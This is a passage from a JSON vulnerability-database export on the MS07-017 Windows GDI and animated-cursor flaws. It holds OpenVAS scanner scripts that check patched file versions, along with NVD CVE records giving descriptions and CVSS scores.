replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\",\n test_version2:\"5.0.2195.7133\")){\n security_message(0); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\",\n test_version2:\"5.1.2600.3099\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.2892\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.4033\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.651\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\",\n test_version2:\"6.0.6000.16438\")){\n security_message(0); exit(0);\n }\n } \n}\n\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-07-02T21:13:38", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.", "modified": "2017-02-20T00:00:00", "published": "2011-01-14T00:00:00", "id": "OPENVAS:801720", "href": "http://plugins.openvas.org/nasl.php?oid=801720", "type": "openvas", "title": "Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_ms07-017.nasl 5362 2017-02-20 12:46:39Z cfi $\n#\n# Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_impact = \"Successful exploitation allows remote attackers to execute arbitrary code.\n Impact Level: System/Application\";\ntag_affected = \"Microsoft Windows XP Service Pack 2 and prior.\n Microsoft Windows 2000 ervice Pack 4 and prior.\n Microsoft Windows 2K3 Service Pack 2 and prior.\n Microsoft Windows Vista\";\ntag_insight = \"The flaw is due to\n - A boundary error within the handling of animated cursors\n - Invalid memory reference.\n - Privilege-escalation vulnerability when rendering malformed 'EMF'\n image files.\n - Error in Windows TrueType Font Rasterizer.\";\ntag_solution = \"Run Windows Update and update the listed hotfixes or download and\n update mentioned hotfixes in the advisory from the below link,\n http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\";\ntag_summary = \"This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.\";\n\nif(description)\n{\n script_id(801720);\n script_version(\"$Revision: 5362 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-20 13:46:39 +0100 (Mon, 20 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-01-14 09:03:25 +0100 (Fri, 14 Jan 2011)\");\n script_cve_id(\"CVE-2007-0038\", \"CVE-2007-1211\", \"CVE-2007-1212\",\n \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_bugtraq_id(23275, 23278, 23276, 23273);\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_xref(name : \"URL\" , value : \"http://secunia.com/advisories/24659\");\n script_xref(name : \"URL\" , value : \"http://xforce.iss.net/xforce/xfdb/33258\");\n script_xref(name : \"URL\" , value : \"http://xforce.iss.net/xforce/xfdb/33301\");\n script_xref(name : \"URL\" , value : \"http://securitytracker.com/alerts/2007/Apr/1017845.html\");\n script_xref(name : \"URL\" , value : \"http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\");\n \n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2011 Greenbone Networks GmbH\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/WindowsVersion\");\n\n script_tag(name : \"impact\" , value : tag_impact);\n script_tag(name : \"affected\" , value : tag_affected);\n script_tag(name : \"insight\" , value : tag_insight);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5, xp:3, win2003:3, winVista:3) <= 0){\n exit(0);\n}\n\n## Hotfix check\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\n## Get System32 path\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\COM3\\Setup\",\n item:\"Install Path\");\nif(sysPath)\n{\n sysVer = fetch_file_version(sysPath, file_name:\"win32k.sys\");\n if(sysVer)\n {\n # Windows 2K\n if(hotfix_check_sp(win2k:5) > 0)\n {\n # Grep for win32k.sys version < 5.0.2195.7133\n if(version_is_less(version:sysVer, test_version:\"5.0.2195.7133\")){\n security_message(0);\n }\n }\n \n ## Windows XP\n else if(hotfix_check_sp(xp:3) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n ## Grep for win32k.sys version < 5.1.2600.3099\n if(version_is_less(version:sysVer, test_version:\"5.1.2600.3099\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n \n ## Windows 2003\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n ## Grep for win32k.sys version < 5.2.3790.2892\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.2892\")){\n security_message(0);\n }\n exit(0);\n }\n if(\"Service Pack 2\" >< SP)\n {\n ## Grep for win32k.sys version < 5.2.3790.4033\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.4033\")){\n security_message(0);\n }\n exit(0);\n }\n security_message(0);\n }\n }\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\",\n item:\"PathName\");\nif(!sysPath){\n exit(0);\n}\n\nsysVer = fetch_file_version(sysPath, file_name:\"system32\\win32k.sys\");\nif(!sysVer){\n exit(0);\n}\n \n## Windows Vista\nif(hotfix_check_sp(winVista:3) > 0)\n{\n ## Grep for win32k.sys version < 6.0.6000.16438\n if(version_is_less(version:sysVer, test_version:\"6.0.6000.16438\")){\n security_message(0);\n }\n exit(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2020-04-27T19:22:25", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038"], "description": "This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.", "modified": "2020-04-23T00:00:00", "published": "2011-01-14T00:00:00", "id": "OPENVAS:1361412562310801720", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310801720", "type": "openvas", "title": "Vulnerabilities in GDI Could Allow Remote Code Execution (925902)", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.801720\");\n script_version(\"2020-04-23T08:43:39+0000\");\n script_tag(name:\"last_modification\", value:\"2020-04-23 08:43:39 +0000 (Thu, 23 Apr 2020)\");\n script_tag(name:\"creation_date\", value:\"2011-01-14 09:03:25 +0100 (Fri, 14 Jan 2011)\");\n script_cve_id(\"CVE-2007-0038\", \"CVE-2007-1211\", \"CVE-2007-1212\",\n \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_bugtraq_id(23275, 23278, 23276, 23273);\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_name(\"Vulnerabilities in GDI Could Allow Remote Code Execution (925902)\");\n script_xref(name:\"URL\", value:\"http://xforce.iss.net/xforce/xfdb/33258\");\n script_xref(name:\"URL\", value:\"http://xforce.iss.net/xforce/xfdb/33301\");\n script_xref(name:\"URL\", value:\"http://securitytracker.com/alerts/2007/Apr/1017845.html\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017\");\n\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2011 Greenbone Networks GmbH\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"secpod_reg_enum.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"SMB/registry_enumerated\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation allows remote attackers to execute arbitrary code.\");\n script_tag(name:\"affected\", value:\"- Microsoft Windows XP Service Pack 2 and prior\n\n - Microsoft Windows 2000 ervice Pack 4 and prior\n\n - Microsoft Windows 2K3 Service Pack 2 and prior\n\n - Microsoft Windows Vista\");\n script_tag(name:\"insight\", value:\"The flaw is due to\n\n - A boundary error within the handling of animated cursors\n\n - Invalid memory reference.\n\n - Privilege-escalation vulnerability when rendering malformed 'EMF'\n image files.\n\n - Error in Windows TrueType Font Rasterizer.\");\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"summary\", value:\"This host is missing a critical security update according to\n Microsoft Bulletin MS07-017.\");\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5, xp:3, win2003:3, winVista:3) <= 0){\n exit(0);\n}\n\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\COM3\\Setup\",\n item:\"Install Path\");\nif(sysPath)\n{\n sysVer = fetch_file_version(sysPath:sysPath, file_name:\"win32k.sys\");\n if(sysVer)\n {\n if(hotfix_check_sp(win2k:5) > 0)\n {\n if(version_is_less(version:sysVer, test_version:\"5.0.2195.7133\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.0.2195.7133\");\n security_message(port: 0, data: report);\n }\n }\n\n else if(hotfix_check_sp(xp:3) > 0)\n {\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.1.2600.3099\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.1.2600.3099\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n\n else if(hotfix_check_sp(win2003:3) > 0)\n {\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.2892\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.2.3790.2892\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n if(\"Service Pack 2\" >< SP)\n {\n if(version_is_less(version:sysVer, test_version:\"5.2.3790.4033\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"5.2.3790.4033\");\n security_message(port: 0, data: report);\n }\n exit(0);\n }\n security_message( port: 0, data: \"The target host was found to be vulnerable\" );\n }\n }\n}\n\nsysPath = registry_get_sz(key:\"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\",\n item:\"PathName\");\nif(!sysPath){\n exit(0);\n}\n\nsysVer = fetch_file_version(sysPath:sysPath, file_name:\"system32\\win32k.sys\");\nif(!sysVer){\n exit(0);\n}\n\nif(hotfix_check_sp(winVista:3) > 0)\n{\n if(version_is_less(version:sysVer, test_version:\"6.0.6000.16438\")){\n report = report_fixed_ver(installed_version:sysVer, fixed_version:\"6.0.6000.16438\");\n security_message(port: 0, data: report);\n }\n exit(0);\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2021-02-02T05:27:25", "description": "The Graphics Rendering Engine in Microsoft Windows 2000 through 2000 SP4 and Windows XP through SP2 maps GDI Kernel structures on a global shared memory section that is mapped with read-only permissions, but can be remapped by other processes as read-write, which allows local users to cause a denial of service (memory corruption and crash) and gain privileges by modifying the kernel structures.", "edition": 4, "cvss3": {}, "published": "2006-11-06T20:07:00", "title": "CVE-2006-5758", "type": "cve", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5758"], "modified": "2018-10-17T21:44:00", "cpe": ["cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2006-5758", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5758", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:27:25", "description": "The Graphics Rendering Engine in Microsoft Windows 2000 SP4 and XP SP2 allows local users to gain privileges via \"invalid application window sizes\" in layered application windows, aka the \"GDI Invalid Window Size Elevation of Privilege Vulnerability.\"", "edition": 4, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2006-5586", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-5586"], "modified": "2018-10-17T21:43:00", "cpe": ["cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2006-5586", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-5586", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:31:21", "description": "Buffer overflow in the Graphics Device Interface (GDI) in Microsoft Windows 2000 SP4; XP SP2; Server 2003 Gold, SP1, and SP2; and Vista allows local users to gain privileges via certain \"color-related parameters\" in crafted images.", "edition": 4, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2007-1215", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1215"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:gold", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-1215", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1215", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:x64:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:31:21", "description": "Buffer overflow in the Graphics Device Interface (GDI) in Microsoft Windows 2000 SP4; XP SP2; Server 2003 Gold, SP1, and SP2; and Vista allows local users to gain privileges via a crafted Enhanced Metafile (EMF) image format file.", "edition": 4, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2007-1212", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 2.7, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 6.6, "vectorString": "AV:L/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1212"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:gold", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-1212", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1212", "cvss": {"score": 6.6, "vector": "AV:L/AC:M/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:x64:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:31:20", "description": "Stack-based buffer overflow in the animated cursor code in Microsoft Windows 2000 SP4 through Vista allows remote attackers to execute arbitrary code or cause a denial of service (persistent reboot) via a large length value in the second (or later) anih block of a RIFF .ANI, cur, or .ico file, which results in memory corruption when processing cursors, animated cursors, and icons, a variant of CVE-2005-0416, as originally demonstrated using Internet Explorer 6 and 7. NOTE: this might be a duplicate of CVE-2007-1765; if so, then CVE-2007-0038 should be preferred.", "edition": 4, "cvss3": {}, "published": "2007-03-30T20:19:00", "title": "CVE-2007-0038", "type": "cve", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": true, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-0038"], "modified": "2018-10-16T16:30:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_vista:*", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:gold", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-0038", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-0038", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_vista:*:gold:x64:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:31:21", "description": "The TrueType Fonts rasterizer in Microsoft Windows 2000 SP4 allows local users to gain privileges via crafted TrueType fonts, which result in an uninitialized function pointer.", "edition": 4, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2007-1213", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1213"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/o:microsoft:windows_2000:*"], "id": "CVE-2007-1213", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1213", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T05:31:21", "description": "Unspecified kernel GDI functions in Microsoft Windows 2000 SP4; XP SP2; and Server 2003 Gold, SP1, and SP2 allows user-assisted remote attackers to cause a denial of service (possibly persistent restart) via a crafted Windows Metafile (WMF) image that causes an invalid dereference of an offset in a kernel structure, a related issue to CVE-2005-4560.", "edition": 4, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2007-1211", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1211"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:gold", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-1211", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1211", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", 